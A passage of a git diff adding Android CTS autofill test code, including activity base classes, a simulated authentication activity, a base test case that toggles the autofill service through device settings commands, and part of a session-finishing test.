+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<resources>
+
+    <string name="new_password_label">DA PASSWORD</string>
+
+    <string-array name="cc_expiration_values">
+        <item>yesterday</item>
+        <item>today</item>
+        <item>tomorrow</item>
+        <item>never</item>
+    </string-array>
+
+</resources>
\ No newline at end of file
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java
new file mode 100644
index 0000000..efc0b2c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AbstractAutoFillActivity.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Activity;
+import android.view.autofill.AutofillManager;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+  * Base class for all activities in this test suite
+  */
+abstract class AbstractAutoFillActivity extends Activity {
+
+    private MyAutofillCallback mCallback;
+
+    /**
+     * Run an action in the UI thread, and blocks caller until the action is finished.
+     */
+    public final void syncRunOnUiThread(Runnable action) {
+        syncRunOnUiThread(action, Helper.UI_TIMEOUT_MS);
+    }
+
+    /**
+     * Run an action in the UI thread, and blocks caller until the action is finished or it times
+     * out.
+     */
+    public final void syncRunOnUiThread(Runnable action, int timeoutMs) {
+        final CountDownLatch latch = new CountDownLatch(1);
+        runOnUiThread(() -> {
+            action.run();
+            latch.countDown();
+        });
+        try {
+            if (!latch.await(timeoutMs, TimeUnit.MILLISECONDS)) {
+                throw new RetryableException("action on UI thread timed out after %d ms",
+                        timeoutMs);
+            }
+        } catch (InterruptedException e) {
+            Thread.currentThread().interrupt();
+            throw new RuntimeException("Interrupted", e);
+        }
+    }
+
+    protected AutofillManager getAutofillManager() {
+        return getSystemService(AutofillManager.class);
+    }
+
+    /**
+     * Registers and returns a custom callback for autofill events.
+     */
+    protected MyAutofillCallback registerCallback() {
+        assertWithMessage("already registered").that(mCallback).isNull();
+        mCallback = new MyAutofillCallback();
+        getAutofillManager().registerCallback(mCallback);
+        return mCallback;
+    }
+
+    /**
+     * Unregister the callback from the {@link AutofillManager}.
+     */
+    protected void unregisterCallback() {
+        assertWithMessage("not registered").that(mCallback).isNotNull();
+        getAutofillManager().unregisterCallback(mCallback);
+        mCallback = null;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java
new file mode 100644
index 0000000..86eb136
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AbstractDatePickerActivity.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.widget.ArrayAdapter.createFromResource;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.SystemClock;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.view.WindowManager;
+import android.widget.ArrayAdapter;
+import android.widget.Button;
+import android.widget.CheckBox;
+import android.widget.DatePicker;
+import android.widget.EditText;
+import android.widget.RadioButton;
+import android.widget.RadioGroup;
+import android.widget.Spinner;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Base class for an activity that has the following fields:
+ *
+ * <ul>
+ *   <li>A DatePicker (id: date_picker)
+ *   <li>An EditText that is filled with the DatePicker when it changes (id: output)
+ *   <li>An OK button that finishes it and navigates to the {@link WelcomeActivity}
+ * </ul>
+ *
+ * <p>It's abstract because the sub-class must provide the view id, so it can support multiple
+ * UI types (like calendar and spinner).
+ */
+abstract class AbstractDatePickerActivity extends AbstractAutoFillActivity {
+
+    private static final long OK_TIMEOUT_MS = 1000;
+
+    static final String ID_DATE_PICKER = "date_picker";
+    static final String ID_OUTPUT = "output";
+
+    private DatePicker mDatePicker;
+    private EditText mOutput;
+    private Button mOk;
+
+    private FillExpectation mExpectation;
+    private CountDownLatch mOkLatch;
+
+    protected abstract int getContentView();
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(getContentView());
+
+        mDatePicker = (DatePicker) findViewById(R.id.date_picker);
+
+        mDatePicker.setOnDateChangedListener((v, y, m, d) -> {
+            updateOutputWithDate(y, m, d);
+        });
+
+        mOutput = (EditText) findViewById(R.id.output);
+        mOk = (Button) findViewById(R.id.ok);
+        mOk.setOnClickListener((v) -> {
+            ok();
+        });
+    }
+
+    private void updateOutputWithDate(int year, int month, int day) {
+        final String date = year + "/" + month + "/" + day;
+        mOutput.setText(date);
+    }
+
+    private void ok() {
+        final Intent intent = new Intent(this, WelcomeActivity.class);
+        intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, "Good news everyone! The world didn't end!");
+        startActivity(intent);
+        if (mOkLatch != null) {
+            // Latch is not set when activity launched outside tests
+            mOkLatch.countDown();
+        }
+        finish();
+    }
+
+    /**
+     * Sets the expectation for an auto-fill request, so it can be asserted through
+     * {@link #assertAutoFilled()} later.
+     */
+    void expectAutoFill(String output, int year, int month, int day) {
+        mExpectation = new FillExpectation(output, year, month, day);
+        mOutput.addTextChangedListener(mExpectation.outputWatcher);
+        mDatePicker.setOnDateChangedListener((v, y, m, d) -> {
+            updateOutputWithDate(y, m, d);
+            mExpectation.dateListener.onDateChanged(v, y, m, d);
+        });
+    }
+
+    /**
+     * Asserts the activity was auto-filled with the values passed to
+     * {@link #expectAutoFill(String, int, int, int)}.
+     */
+    void assertAutoFilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        mExpectation.outputWatcher.assertAutoFilled();
+        mExpectation.dateListener.assertAutoFilled();
+    }
+
+    /**
+     * Visits the {@code output} in the UiThread.
+     */
+    void onOutput(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> {
+            v.visit(mOutput);
+        });
+    }
+
+    /**
+     * Sets the date in the {@link DatePicker}.
+     */
+    void setDate(int year, int month, int day) {
+        syncRunOnUiThread(() -> {
+            mDatePicker.updateDate(year, month, day);
+        });
+    }
+
+    /**
+     * Taps the ok button in the UI thread.
+     */
+    void tapOk() throws Exception {
+        mOkLatch = new CountDownLatch(1);
+        syncRunOnUiThread(() -> {
+            mOk.performClick();
+        });
+        boolean called = mOkLatch.await(OK_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) waiting for OK action", OK_TIMEOUT_MS)
+                .that(called).isTrue();
+    }
+
+    /**
+     * Holder for the expected auto-fill values.
+     */
+    private final class FillExpectation {
+        private final MultipleTimesTextWatcher outputWatcher;
+        private final OneTimeDateListener dateListener;
+
+        private FillExpectation(String output, int year, int month, int day) {
+            // Output is called twice: by the DateChangeListener and by auto-fill.
+            outputWatcher = new MultipleTimesTextWatcher("output", 2, mOutput, output);
+            dateListener = new OneTimeDateListener("datePicker", mDatePicker, year, month, day);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java
new file mode 100644
index 0000000..89c028b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AbstractTimePickerActivity.java
@@ -0,0 +1,162 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.TimePicker;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Base class for an activity that has the following fields:
+ *
+ * <ul>
+ *   <li>A TimePicker (id: date_picker)
+ *   <li>An EditText that is filled with the TimePicker when it changes (id: output)
+ *   <li>An OK button that finishes it and navigates to the {@link WelcomeActivity}
+ * </ul>
+ *
+ * <p>It's abstract because the sub-class must provide the view id, so it can support multiple
+ * UI types (like clock and spinner).
+ */
+abstract class AbstractTimePickerActivity extends AbstractAutoFillActivity {
+
+    private static final long OK_TIMEOUT_MS = 1000;
+
+    static final String ID_TIME_PICKER = "time_picker";
+    static final String ID_OUTPUT = "output";
+
+    private TimePicker mTimePicker;
+    private EditText mOutput;
+    private Button mOk;
+
+    private FillExpectation mExpectation;
+    private CountDownLatch mOkLatch;
+
+    protected abstract int getContentView();
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(getContentView());
+
+        mTimePicker = (TimePicker) findViewById(R.id.time_picker);
+
+        mTimePicker.setOnTimeChangedListener((v, m, h) -> {
+            updateOutputWithTime(m, h);
+        });
+
+        mOutput = (EditText) findViewById(R.id.output);
+        mOk = (Button) findViewById(R.id.ok);
+        mOk.setOnClickListener((v) -> {
+            ok();
+        });
+    }
+
+    private void updateOutputWithTime(int hour, int minute) {
+        final String time = hour + ":" + minute;
+        mOutput.setText(time);
+    }
+
+    private void ok() {
+        final Intent intent = new Intent(this, WelcomeActivity.class);
+        intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, "It's Adventure Time!");
+        startActivity(intent);
+        if (mOkLatch != null) {
+            // Latch is not set when activity launched outside tests
+            mOkLatch.countDown();
+        }
+        finish();
+    }
+
+    /**
+     * Sets the expectation for an auto-fill request, so it can be asserted through
+     * {@link #assertAutoFilled()} later.
+     */
+    void expectAutoFill(String output, int hour, int minute) {
+        mExpectation = new FillExpectation(output, hour, minute);
+        mOutput.addTextChangedListener(mExpectation.outputWatcher);
+        mTimePicker.setOnTimeChangedListener((v, h, m) -> {
+            updateOutputWithTime(h, m);
+            mExpectation.timeListener.onTimeChanged(v, h, m);
+        });
+    }
+
+    /**
+     * Asserts the activity was auto-filled with the values passed to
+     * {@link #expectAutoFill(String, int, int)}.
+     */
+    void assertAutoFilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        mExpectation.timeListener.assertAutoFilled();
+        mExpectation.outputWatcher.assertAutoFilled();
+    }
+
+    /**
+     * Visits the {@code output} in the UiThread.
+     */
+    void onOutput(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> {
+            v.visit(mOutput);
+        });
+    }
+
+    /**
+     * Sets the time in the {@link TimePicker}.
+     */
+    void setTime(int hour, int minute) {
+        syncRunOnUiThread(() -> {
+            mTimePicker.setHour(hour);
+            mTimePicker.setMinute(minute);
+        });
+    }
+
+    /**
+     * Taps the ok button in the UI thread.
+     */
+    void tapOk() throws Exception {
+        mOkLatch = new CountDownLatch(1);
+        syncRunOnUiThread(() -> {
+            mOk.performClick();
+        });
+        boolean called = mOkLatch.await(OK_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) waiting for OK action", OK_TIMEOUT_MS)
+                .that(called).isTrue();
+    }
+
+    /**
+     * Holder for the expected auto-fill values.
+     */
+    private final class FillExpectation {
+        private final MultipleTimesTextWatcher outputWatcher;
+        private final MultipleTimesTimeListener timeListener;
+
+        private FillExpectation(String output, int hour, int minute) {
+            // Output is called twice: by the TimeChangeListener and by auto-fill.
+            outputWatcher = new MultipleTimesTextWatcher("output", 2, mOutput, output);
+            // TimePicker listener is called twice, for hour and minute changes.
+            timeListener = new MultipleTimesTimeListener("timePicker", 2, mTimePicker, hour,
+                    minute);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AllAutofillableViewsActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AllAutofillableViewsActivity.java
new file mode 100644
index 0000000..757a0d1
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AllAutofillableViewsActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.os.Bundle;
+import android.support.annotation.Nullable;
+
+public class AllAutofillableViewsActivity extends AbstractAutoFillActivity {
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.all_autofill_able_views_activity);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
new file mode 100644
index 0000000..56ae652
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
@@ -0,0 +1,163 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.app.assist.AssistStructure;
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.os.Parcelable;
+import android.util.Log;
+import android.util.SparseArray;
+import android.view.autofill.AutofillManager;
+
+import com.google.common.base.Preconditions;
+
+import java.util.ArrayList;
+
+/**
+ * This class simulates authentication at the dataset at reponse level
+ */
+public class AuthenticationActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "AuthenticationActivity";
+    private static final String EXTRA_DATASET_ID = "dataset_id";
+    private static final String EXTRA_RESPONSE_ID = "response_id";
+
+    private static Bundle sData;
+    private static final SparseArray<CannedDataset> sDatasets = new SparseArray<>();
+    private static final SparseArray<CannedFillResponse> sResponses = new SparseArray<>();
+    private static final ArrayList<PendingIntent> sPendingIntents = new ArrayList<>();
+
+    private static Object sLock = new Object();
+
+    // Guarded by sLock
+    private static int sResultCode;
+
+    static void resetStaticState() {
+        setResultCode(RESULT_OK);
+        sDatasets.clear();
+        sResponses.clear();
+        for (int i = 0; i < sPendingIntents.size(); i++) {
+            final PendingIntent pendingIntent = sPendingIntents.get(i);
+            Log.d(TAG, "Cancelling " + pendingIntent);
+            pendingIntent.cancel();
+        }
+    }
+
+    /**
+     * Creates an {@link IntentSender} with the given unique id for the given dataset.
+     */
+    public static IntentSender createSender(Context context, int id,
+            CannedDataset dataset) {
+        Preconditions.checkArgument(id > 0, "id must be positive");
+        Preconditions.checkState(sDatasets.get(id) == null, "already have id");
+        sDatasets.put(id, dataset);
+        return createSender(context, EXTRA_DATASET_ID, id);
+    }
+
+    /**
+     * Creates an {@link IntentSender} with the given unique id for the given fill response.
+     */
+    public static IntentSender createSender(Context context, int id,
+            CannedFillResponse response) {
+        Preconditions.checkArgument(id > 0, "id must be positive");
+        Preconditions.checkState(sResponses.get(id) == null, "already have id");
+        sResponses.put(id, response);
+        return createSender(context, EXTRA_RESPONSE_ID, id);
+    }
+
+    private static IntentSender createSender(Context context, String extraName, int id) {
+        final Intent intent = new Intent(context, AuthenticationActivity.class);
+        intent.putExtra(extraName, id);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(context, id, intent, 0);
+        sPendingIntents.add(pendingIntent);
+        return pendingIntent.getIntentSender();
+    }
+
+    /**
+     * Creates an {@link IntentSender} with the given unique id.
+     */
+    public static IntentSender createSender(Context context, int id) {
+        Preconditions.checkArgument(id > 0, "id must be positive");
+        return PendingIntent
+                .getActivity(context, id, new Intent(context, AuthenticationActivity.class), 0)
+                .getIntentSender();
+    }
+
+    public static Bundle getData() {
+        final Bundle data = sData;
+        sData = null;
+        return data;
+    }
+
+    /**
+     * Sets the value that's passed to {@link Activity#setResult(int, Intent)} when on
+     * {@link Activity#onCreate(Bundle)}.
+     */
+    public static void setResultCode(int resultCode) {
+        synchronized (sLock) {
+            sResultCode = resultCode;
+        }
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        // We should get the assist structure...
+        final AssistStructure structure = getIntent().getParcelableExtra(
+                AutofillManager.EXTRA_ASSIST_STRUCTURE);
+        assertWithMessage("structure not called").that(structure).isNotNull();
+
+        // and the bundle
+        sData = getIntent().getBundleExtra(AutofillManager.EXTRA_CLIENT_STATE);
+        final CannedFillResponse response =
+                sResponses.get(getIntent().getIntExtra(EXTRA_RESPONSE_ID, 0));
+        final CannedDataset dataset =
+                sDatasets.get(getIntent().getIntExtra(EXTRA_DATASET_ID, 0));
+
+        final Parcelable result;
+
+        if (response != null) {
+            result = response.asFillResponse((id) -> Helper.findNodeByResourceId(structure, id));
+        } else if (dataset != null) {
+            result = dataset.asDataset((id) -> Helper.findNodeByResourceId(structure, id));
+        } else {
+            throw new IllegalStateException("no dataset or response");
+        }
+
+        // Pass on the auth result
+        final Intent intent = new Intent();
+        intent.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, result);
+        final int resultCode;
+        synchronized (sLock) {
+            resultCode = sResultCode;
+        }
+        Log.d(TAG, "Returning code " + resultCode);
+        setResult(resultCode, intent);
+
+        // Done
+        finish();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
new file mode 100644
index 0000000..15d1052
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -0,0 +1,215 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.getLoggingLevel;
+import static android.autofillservice.cts.Helper.hasAutofillFeature;
+import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.autofillservice.cts.Helper.setLoggingLevel;
+import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.InstrumentedAutoFillService.Replier;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+import android.widget.RemoteViews;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.runner.RunWith;
+
+/**
+ * Base class for all other tests.
+ */
+@RunWith(AndroidJUnit4.class)
+abstract class AutoFillServiceTestCase {
+    private static final String TAG = "AutoFillServiceTestCase";
+
+    private static final String SERVICE_NAME =
+            InstrumentedAutoFillService.class.getPackage().getName()
+            + "/." + InstrumentedAutoFillService.class.getSimpleName();
+
+    protected static UiBot sUiBot;
+
+    protected static final Replier sReplier = InstrumentedAutoFillService.getReplier();
+
+    @Rule
+    public final RetryRule mRetryRule = new RetryRule(2);
+
+    @Rule
+    public final RequiredFeatureRule mRequiredFeatureRule =
+            new RequiredFeatureRule(PackageManager.FEATURE_AUTOFILL);
+
+    /**
+     * Stores the previous logging level so it's restored after the test.
+     */
+    private String mLoggingLevel;
+
+    @BeforeClass
+    public static void removeLockScreen() {
+        if (!hasAutofillFeature()) return;
+
+        runShellCommand("input keyevent KEYCODE_WAKEUP");
+    }
+
+    @BeforeClass
+    public static void setUiBot() throws Exception {
+        if (!hasAutofillFeature()) return;
+
+        sUiBot = new UiBot(InstrumentationRegistry.getInstrumentation());
+    }
+
+    @AfterClass
+    public static void resetSettings() {
+        runShellCommand("settings delete secure %s", AUTOFILL_SERVICE);
+    }
+
+    @Before
+    public void disableService() {
+        if (!hasAutofillFeature()) return;
+
+        if (!isServiceEnabled()) return;
+
+        final OneTimeSettingsListener observer = new OneTimeSettingsListener(getContext(),
+                AUTOFILL_SERVICE);
+        runShellCommand("settings delete secure %s", AUTOFILL_SERVICE);
+        observer.assertCalled();
+        assertServiceDisabled();
+
+        InstrumentedAutoFillService.setIgnoreUnexpectedRequests(false);
+    }
+
+    @Before
+    public void reset() {
+        destroyAllSessions();
+        sReplier.reset();
+        InstrumentedAutoFillService.resetStaticState();
+        AuthenticationActivity.resetStaticState();
+    }
+
+    @Before
+    public void setVerboseLogging() {
+        try {
+            mLoggingLevel = getLoggingLevel();
+        } catch (Exception e) {
+            Log.w(TAG, "Could not get previous logging level: " + e);
+            mLoggingLevel = "debug";
+        }
+        try {
+            setLoggingLevel("verbose");
+        } catch (Exception e) {
+            Log.w(TAG, "Could not change logging level to verbose: " + e);
+        }
+    }
+
+    @After
+    public void resetVerboseLogging() {
+        try {
+            setLoggingLevel(mLoggingLevel);
+        } catch (Exception e) {
+            Log.w(TAG, "Could not restore logging level to " + mLoggingLevel + ": " + e);
+        }
+    }
+
+    // TODO: we shouldn't throw exceptions on @After / @AfterClass because if the test failed, these
+    // exceptions would mask the real cause. A better approach might be using a @Rule or some other
+    // visitor pattern.
+    @After
+    public void assertNoPendingRequests() {
+        sReplier.assertNumberUnhandledFillRequests(0);
+        sReplier.assertNumberUnhandledSaveRequests(0);
+    }
+
+    @After
+    public void ignoreFurtherRequests() {
+        InstrumentedAutoFillService.setIgnoreUnexpectedRequests(true);
+    }
+
+    /**
+     * Enables the {@link InstrumentedAutoFillService} for autofill for the current user.
+     */
+    protected void enableService() {
+        if (isServiceEnabled()) return;
+
+        final OneTimeSettingsListener observer = new OneTimeSettingsListener(getContext(),
+                AUTOFILL_SERVICE);
+        runShellCommand("settings put secure %s %s default", AUTOFILL_SERVICE, SERVICE_NAME);
+        observer.assertCalled();
+        assertServiceEnabled();
+    }
+
+    /**
+     * Asserts that the {@link InstrumentedAutoFillService} is enabled for the default user.
+     */
+    protected static void assertServiceEnabled() {
+        assertServiceStatus(true);
+    }
+
+    /**
+     * Asserts that the {@link InstrumentedAutoFillService} is disabled for the default user.
+     */
+    protected static void assertServiceDisabled() {
+        assertServiceStatus(false);
+    }
+
+    /**
+     * Asserts that there is no session left in the service.
+     */
+    protected void assertNoDanglingSessions() {
+        final String command = "cmd autofill list sessions";
+        final String result = runShellCommand(command);
+        assertWithMessage("Dangling sessions ('%s'): %s'", command, result).that(result).isEmpty();
+    }
+
+    /**
+     * Destroys all sessions.
+     */
+    protected void destroyAllSessions() {
+        runShellCommand("cmd autofill destroy sessions");
+        assertNoDanglingSessions();
+    }
+
+    protected static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getContext();
+    }
+
+    protected static RemoteViews createPresentation(String message) {
+        final RemoteViews presentation = new RemoteViews(getContext()
+                .getPackageName(), R.layout.list_item);
+        presentation.setTextViewText(R.id.text1, message);
+        return presentation;
+    }
+
+    private static boolean isServiceEnabled() {
+        final String service = runShellCommand("settings get secure %s", AUTOFILL_SERVICE);
+        return SERVICE_NAME.equals(service);
+    }
+
+    private static void assertServiceStatus(boolean enabled) {
+        final String actual = runShellCommand("settings get secure %s", AUTOFILL_SERVICE);
+        final String expected = enabled ? SERVICE_NAME : "null";
+        assertWithMessage("Invalid value for secure setting %s", AUTOFILL_SERVICE)
+                .that(actual).isEqualTo(expected);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java
new file mode 100644
index 0000000..ab1c0ea
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFinishSessionTest.java
@@ -0,0 +1,280 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.FragmentContainerActivity.FRAGMENT_TAG;
+import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Fragment;
+import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.content.Intent;
+import android.service.autofill.SaveInfo;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.support.test.rule.ActivityTestRule;
+import android.view.ViewGroup;
+import android.widget.EditText;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+/**
+ * Tests that the session finishes when the views and fragments go away
+ */
+public class AutoFinishSessionTest extends AutoFillServiceTestCase {
+    @Rule
+    public final ActivityTestRule<FragmentContainerActivity> mActivityRule =
+            new ActivityTestRule<>(FragmentContainerActivity.class);
+    private FragmentContainerActivity mActivity;
+    private EditText mEditText1;
+    private EditText mEditText2;
+    private Fragment mFragment;
+    private ViewGroup mParent;
+
+    @Before
+    public void initViews() {
+        mActivity = mActivityRule.getActivity();
+        mEditText1 = mActivity.findViewById(R.id.editText1);
+        mEditText2 = mActivity.findViewById(R.id.editText2);
+        mFragment = mActivity.getFragmentManager().findFragmentByTag(FRAGMENT_TAG);
+        mParent = ((ViewGroup) mEditText1.getParent());
+
+        assertThat(mFragment).isNotNull();
+    }
+
+    // firstRemove and secondRemove run in the UI Thread; firstCheck doesn't
+    private void removeViewsBaseTest(@NonNull Runnable firstRemove, @Nullable Runnable firstCheck,
+            @Nullable Runnable secondRemove, String... viewsToSave)
+            throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, viewsToSave).build());
+
+        // Trigger autofill
+        mActivity.syncRunOnUiThread(() -> {
+            mEditText2.requestFocus();
+            mEditText1.requestFocus();
+        });
+
+        sReplier.getNextFillRequest();
+
+        sUiBot.assertNoDatasets();
+
+        // remove first set of views
+        mActivity.syncRunOnUiThread(() -> {
+            mEditText1.setText("editText1-filled");
+            mEditText2.setText("editText2-filled");
+            firstRemove.run();
+        });
+
+        // Check state between remove operations
+        if (firstCheck != null) {
+            firstCheck.run();
+        }
+
+        // remove second set of views
+        if (secondRemove != null) {
+            mActivity.syncRunOnUiThread(secondRemove);
+        }
+
+        // Save should be shows after all remove operations were executed
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+        SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        for (String view : viewsToSave) {
+            assertThat(findNodeByResourceId(saveRequest.structure, view)
+                    .getAutofillValue().getTextValue().toString()).isEqualTo(view + "-filled");
+        }
+    }
+
+    @Test
+    public void removeBothViewsToFinishSession() throws Exception {
+        removeViewsBaseTest(
+                () -> ((ViewGroup) mEditText1.getParent()).removeView(mEditText1),
+                () -> sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC),
+                () -> ((ViewGroup) mEditText2.getParent()).removeView(mEditText2),
+                "editText1", "editText2");
+    }
+
+    @Test
+    public void removeOneViewToFinishSession() throws Exception {
+        removeViewsBaseTest(
+                () -> {
+                    // Do not trigger new partition when switching to editText2
+                    mEditText2.setFocusable(false);
+
+                    mParent.removeView(mEditText1);
+                },
